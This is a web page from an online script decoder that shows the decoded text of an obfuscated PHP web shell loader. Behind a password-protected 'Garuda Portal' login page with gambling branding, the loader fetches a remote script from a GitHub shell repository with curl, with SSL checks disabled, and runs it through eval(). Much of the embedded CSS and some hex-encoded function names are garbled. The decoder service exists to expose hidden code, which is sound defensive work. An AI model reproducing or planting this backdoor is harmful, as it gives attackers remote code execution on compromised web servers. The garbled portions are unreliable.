Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



goto tjGHE; zAYPN: $Tr3m0 = bkXu4($OQAQ_); goto YbSA3; g3VGF: $UTR7K = hash("sha256", $_SERVER["HTTP_HOST"]); goto ojM4E; CmEnT: $OQAQ_ = "https://raw.githubusercontent.com/rezahaxor17/shell/refs/heads/main/birui337.txt"; goto zAYPN; YbSA3: if (!($Tr3m0 !== false)) { goto SptRq; } goto S5H_z; ZRT1Y: $qe0SJ = "$2a!2#odpWjdNKi4HH1AHNxgrIOM3IvMwfbz37Lf2Q2vc7MrPjG464Tki6"; goto g3VGF; RloJi: fHQp0: goto l_uxd; qIBXe: function bKxU4($KoaEC) { goto nWFm3; DJHtB: if (function_exists($Yr42m[2])) { goto Mp3K6; } goto vTla_; WTvgE: xeaA3: goto Xh7SK; YMAgw: return $DPqlN; goto Qf4nN; Xh7SK: $B9JkB = curl_init($KoaEC); goto ZnSx2; HS2nP: return $Yr42m[2]($KoaEC); goto ZkkaZ; nWFm3: $Yr42m = array(fzZxE("666f70656e"), FzZxe("72616d5f5f6f6e656e7473"), FzzXe("6c655f67657f636f6e74656e73"), fZZXE("63756c5f7863")); goto v6Dvz; D8gj6: goto tn4pn; goto TKWMw; vTla_: if (function_exists($Yr42m[0]) && function_exists($Yr42m[1])) { goto ygjL0; } goto ROoRs; PHfbt: curl_setopt($B9JkB, CURLOPT_SSL_VERIFYHOST, 0); goto FLGxc; PjJp_: fclose($LAUlT); goto YMAgw; wP2oy: curl_setopt($B9JkB, CURLOPT_FOLLOWLOCATION, 1); goto WxEny; ZnSx2: curl_setopt($B9JkB, CURLOPT_RETURNTRANSFER, 1); goto wP2oy; KLcba: $LAUlT = $Yr42m[0]($KoaEC, "r"); goto CTO3b; TKWMw: Mp3K6: goto HS2nP; MOQJS: ygjL0: goto KLcba; Qf4nN: tn4pn: goto HajlV; HajlV: return false; goto N0tNx; WxEny: curl_setopt($B9JkB, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible)"); goto bHEql; hu3I1: curl_close($B9JkB); goto xuSKz; bHEql: curl_setopt($B9JkB, CURLOPT_SSL_VERIFYPEER, 0); goto PHfbt; ROoRs: goto tn4pn; goto WTvgE; ZkkaZ: goto tn4pn; goto MOQJS; v6Dvz: if (function_exists($Yr42m[3])) { goto xeaA3; } goto DJHtB; FLGxc: $DPqlN = $Yr42m[3]($B9JkB); goto hu3I1; xuSKz: return $DPqlN; goto D8gj6; CTO3b: $DPqlN = $Yr42m[1]($LAUlT); goto PjJp_; N0tNx: } goto JpDOr; l_uxd: if (password_verify($_POST["password"], $qe0SJ)) { goto HBHqy; } goto HcMzC; EQQkn: XWWaW: goto CmEnT; wV5Xk: QL5h9(); goto j9QED; HHhIQ: HBHqy: goto pdK02; tjGHE: session_start(); goto ZRT1Y; YkKQr: if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["password"])) { goto fHQp0; } goto wV5Xk; gUude: goto EDop4; goto HHhIQ; ojM4E: function qL5h9() { echo "<!DOCTYPE html>
\xa<html lang="en">
<head>
\xa    <meta charset="UTF-8">
\xa    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Garuda Portal </title>\xd
    <style>
\xa        @import url('https://fonts.googleapis.com/css2?family=Poppins:wght@300;0;0;600;0&display=swap');\xd
        @import url('https://fonts.googleapis.com/css2?family=Noto+Sans+JP:wght@400;000&display=swap');\xd
        
\xa        * {\xd\xa            margin: 0;\xd\xa            padding: 0;
            box-sizing: border-box;\xd
        }
\xa        
\xa        body {
            background: url('https://domain64.wordpress.com/wp-content/uploads/25/06/df531cc5cbe5dd2450d23e72_0w.gif') no-repeat center center fixed;\xd\xa            background-size: cover;\xd\xa            height: 0vh;\xd
            display: flex;\xd
            justify-content: center;\xd\xa            align-items: center;
            position: relative;\xd
            overflow: hidden;\xd\xa            font-family: 'Poppins', 'Noto Sans JP', sans-serif;\xd\xa        }
        
        body::before {\xd\xa            content: '';
\xa            position: absolute;\xd\xa            top:;
\xa            left: 0;\xd
            width:00%;\xd
            height: 0%;
            background: linear-gradient(1deg, rgba(68,8, 68, 0)%, rgba(37, 1, 2, 0)00%);
\xa            z-index: 0;\xd\xa        }\xd\xa        \xd\xa        .login-container {
            position: relative;\xd
            z-index:;\xd
            width: 420px;\xd
            padding: px0px;
\xa            background: rgba(0,, 0, 0t);
\xa            backdrop-filter: blur(12px);\xd
            border-radius: px;
            box-shadow: 05px px rgba(0, 0, 0, 0.3);\xd\xa            border: 1px solid rgba(255,55, 255, 0.15);
            overflow: hidden;\xd
            transform-style: preserve-3d;\xd\xa            perspective: 10px;\xd\xa            transition: all 0.5s cubic-bezier(0.175,.885, 0.,r75);\xd
        }
        
\xa        .login-container:hover {
\xa            transform: translateY(-5px);\xd\xa            box-shadow: 0 px0px rgba(0, 0,, 0.4);
\xa        }
\xa        \xd
        .login-container::before {\xd\xa            content: '';\xd\xa            position: absolute;
            top: -50%;
\xa            left: -50%;
            width: 2%;
\xa            height: 200%;\xd
            background: linear-gradient(\xd
                to bottom right,
                rgbaB55,, 255, 0)%,\xd
                rgbaB55, 5, 5, 0.1)0%,\xd\xa                rgba(255, 255, 2, 0) 100%\xd
            );
            transform: rotate(30deg);\xd\xa            animation: shine 6s infinite;\xd
        }\xd
        
\xa        @keyframes shine {\xd\xa           % { transform: rotate(deg) translate(-%, k0%); }\xd
            0% { transform: rotateC0deg) translate(%, 30%); }
\xa        }
\xa        
\xa        .anime-character {
\xa            text-align: center;\xd
            margin-bottom: 30px;\xd
            position: relative;\xd\xa            z-index: 2;\xd
        }\xd
        
        .anime-character img {
            width: 0px;
\xa            height: 140px;
\xa            border-radius: 50%;
            object-fit: cover;
\xa            border: 4px solidrgb(2, 0, 0);
            box-shadow: 0 10px 30px rgbaB55, 0, 0, 0.6);
\xa            transform: translateZ(30px);
\xa            transition: all 0ss ease;
\xa        }\xd
        \xd
        .anime-character img:hover {
            transform: translateZ(px) scale(1.05);
            box-shadow: 0 px0px rgba(5, 0, 0, 0.8);
\xa        }\xd\xa        
        .login-title {\xd
            color: #fff;
\xa            text-align: center;\xd
            margin-bottom: px;
\xa            font-size: 32px;
\xa            font-weight: 7;\xd\xa            text-shadow: 0 5px 15px rgba(0,,, 0.3);
            position: relative;\xd
            transform: translateZ(20px);\xd
        }
\xa        
        .login-title::after {\xd\xa            content: '';\xd\xa            display: block;\xd
            width: 80px;\xd
            height: 4px;
\xa            background: linear-gradient(to right,rgb(5, 0, 0),rgb(51, 6, 6));
            margin:0px auto 0;
\xa            border-radius: 2px;
        }
\xa        \xd
        .input-group {
\xa            position: relative;
\xa            margin-bottom: px;\xd
            transform: translateZB0px);\xd
        }
\xa        \xd\xa        .input-group input {
            width:00%;
\xa            padding:6px 20px;\xd
            background: rgba(5, 2, 255,q);
\xa            border: 2px solid rgba(5,55, 255,.2);\xd\xa            border-radius:2px;
            outline: none;\xd
            color: #fff;\xd
            font-size:6px;\xd
            box-shadow: 5px5px rgba(0, 0, 0, 0q);\xd\xa            transition: all 0.3s ease;
\xa        }\xd\xa        \xd\xa        .input-group input:focus {
            background: rgba(2, 255,55, 0.15);\xd\xa            border-color: rgba(5, 7, 157,.6);
            box-shadow: 5px0px rgba(255, 7, 157,.4);
        }\xd\xa        \xd
        .input-group label {
\xa            position: absolute;
\xa            top: px;
            left: 20px;\xd\xa            color: rgba(5, 255, 5, 0.7);\xd\xa            font-size: 16px;
\xa            pointer-events: none;\xd\xa            transition: all 0.3s ease;
\xa        }
        \xd
        .input-group input:focus + label,\xd
        .input-group input:valid + label {
            top: -22px;\xd\xa            left: px;\xd
            font-size: px;
\xa            color:rgb(5, 0, 0);\xd\xa            background: rgba(0, 0, 0, 0.6);\xd
            padding: 2px 8px;\xd
            border-radius: 10px;\xd
        }
\xa        \xd
        .login-btn {
            width: 100%;
\xa            padding: px;\xd
            background: linear-gradientD5deg,rgb(2, 0,),rgb(63, 11,1));
\xa            border: none;
            border-radius: px;\xd\xa            color: #fff;
            font-size: 18px;\xd
            font-weight:00;
\xa            cursor: pointer;\xd\xa            transition: all 0.3s ease;
\xa            box-shadow: 0 5px 20px rgba(255, 7, 7, 0u);\xd
            position: relative;
            overflow: hidden;\xd\xa            transform: translateZ(20px);
\xa        }\xd\xa        
        .login-btn::before {\xd\xa            content: '';
            position: absolute;\xd\xa            top: 0;
            left: -100%;\xd
            width: 100%;
\xa            height: 0%;
\xa            background: linear-gradient(deg, transparent, rgba(2, 255, 255,.2), transparent);\xd\xa            transition: 0.5s;
\xa        }\xd\xa        \xd\xa        .login-btn:hover {
\xa            transform: translateZ(px) translateY(-3px);
            box-shadow: 8px 25px rgbaB55,, 157,.7);\xd
        }\xd\xa        \xd
        .login-btn:hover::before {
            left:00%;
        }
        
\xa        .login-footer {\xd
            text-align: center;\xd\xa            margin-top:0px;\xd
            color: rgba(5, 2,55, 0.7);\xd\xa            font-size: px;
\xa            font-style: italic;\xd
            transform: translateZ(px);\xd
        }
\xa        \xd
        .particles {
            position: absolute;\xd
            top: 0;
\xa            left: 0;
            width: 1%;
            height:00%;\xd\xa            z-index: i;
\xa            overflow: hidden;\xd
        }
\xa        
\xa        .particle {\xd
            position: absolute;\xd
            background: rgba(255, 2, 2, 0.6);
            border-radius: %;
\xa            animation: float linear infinite;\xd\xa        }
\xa        
\xa        @keyframes float {\xd\xa            0% {\xd\xa                transform: translateY(0) rotate(0deg);\xd\xa                opacity: 1;
\xa            }
\xa            100% {
                transform: translateY(-1vh) rotate(0deg);\xd
                opacity: 0;\xd\xa            }
        }
        \xd
        .neon-border {\xd
            position: absolute;
            top: 0;\xd\xa            left: 0;
\xa            width: 100%;\xd\xa            height: 100%;
            border-radius: 20px;
            pointer-events: none;\xd
            box-shadow: 0 15px rgba(255, 1, 7, 0.6);
\xa            animation: pulses infinite alternate;\xd
        }
        
\xa        @keyframes pulse {\xd
           % { box-shadow: 0 15px rgbaB55, 107, 157, 0.6); }\xd
            100% { box-shadow: 0 30px rgba(255, 0, 0, 0.9); }\xd\xa        }
    </style>\xd
</head>\xd
<body>
    <div class="header">
\xa
        <div class="logo-head" title="TOTO SLOT">\xd\xa            <div class="header-logo">
\xa                <amp-img src="https://domain72.wordpress.com/wp-content/uploadsz5/07/gif-animation-request-fulfille-unscreen-ezgif.com-crop.gif" width=50" height="59" style="margin-top:0px;"
                    alt="TOTO SLOT"></amp-img>
            </div>\xd\xa            <div class="particles" id="particles"></div>\xd
    <div class="login-container">
\xa        <div class="neon-border"></div>
\xa        <div class="anime-character">\xd
            <img src="https://domain74.wordpress.com/wp-content/uploads/2025x7/gemini_generated_image_beye5gbeye5gbeye-1.png" alt="Anime Character">\xd
        </div>\xd\xa        <h1 class="login-title"> Garuda king</h1>
        <form method="post">
\xa            <div class="input-group">
\xa                <input type="password" name="password" required>\xd
                <label>Enter Password</label>\xd
            </div>
\xa            <button type="submit" class="login-btn">Login</button>
\xa        </form>
        <div class="login-footer">\xd
            Team  Garuda 007\xd
        </div>
\xa    </div>
\xa
\xa    <script>
        // Create floating particles
        const particlesContainer = document.getElementById('particles');\xd\xa        const particleCount = ;
        
        for (let i =; i < particleCount; i++) {\xd\xa            const particle = document.createElement('div');
\xa            particle.classList.add('particle');
\xa            \xd
            // Random properties\xd
            const size = Math.random() * 6 + 2;\xd\xa            const posX = Math.random() *00;
\xa            const duration = Math.random() *  +0;
            const delay = Math.random() * -20;\xd
            \xd\xa            particle.style.width = `{$DJZlF}px`;
\xa            particle.style.height = `{$DJZlF}px`;\xd
            particle.style.left = `{$UN353}%`;
            particle.style.animationDuration = `{$TDhBS}s`;\xd
            particle.style.animationDelay = `{$zMgcE}s`;\xd\xa            
\xa            particlesContainer.appendChild(particle);\xd\xa        }
    </script>\xd
</body>
</html>"; exit; } goto WEhm2; BISoz: EDop4: goto ngJ3N; pdK02: $_SESSION[$UTR7K] = true; goto BISoz; JpDOr: if (isset($_SESSION[$UTR7K])) { goto XWWaW; } goto YkKQr; HcMzC: QL5h9(); goto gUude; ngJ3N: tGTrc: goto EQQkn; j9QED: goto tGTrc; goto RloJi; S5H_z: eval("" . $Tr3m0); goto ChfOw; WEhm2: function Fzzxe($QZCH5) { goto VqMik; y6E9N: if (!($P15wx < strlen($QZCH5))) { goto pwMs2; } goto rmpTF; o6SB4: AZK0F: goto y6E9N; HFQ3f: return $pQaO6; goto YbCy6; bHZcF: pwMs2: goto HFQ3f; UMqvo: $P15wx = 0; goto o6SB4; rmpTF: $pQaO6 .= chr(hexdec(substr($QZCH5, $P15wx, 2))); goto oj4Ul; VqMik: $pQaO6 = ''; goto UMqvo; c6R2P: $P15wx += 2; goto MyuWi; MyuWi: goto AZK0F; goto bHZcF; oj4Ul: wxtSP: goto c6R2P; YbCy6: } goto qIBXe; ChfOw: SptRq:



© 2023 Quttera Ltd. All rights reserved.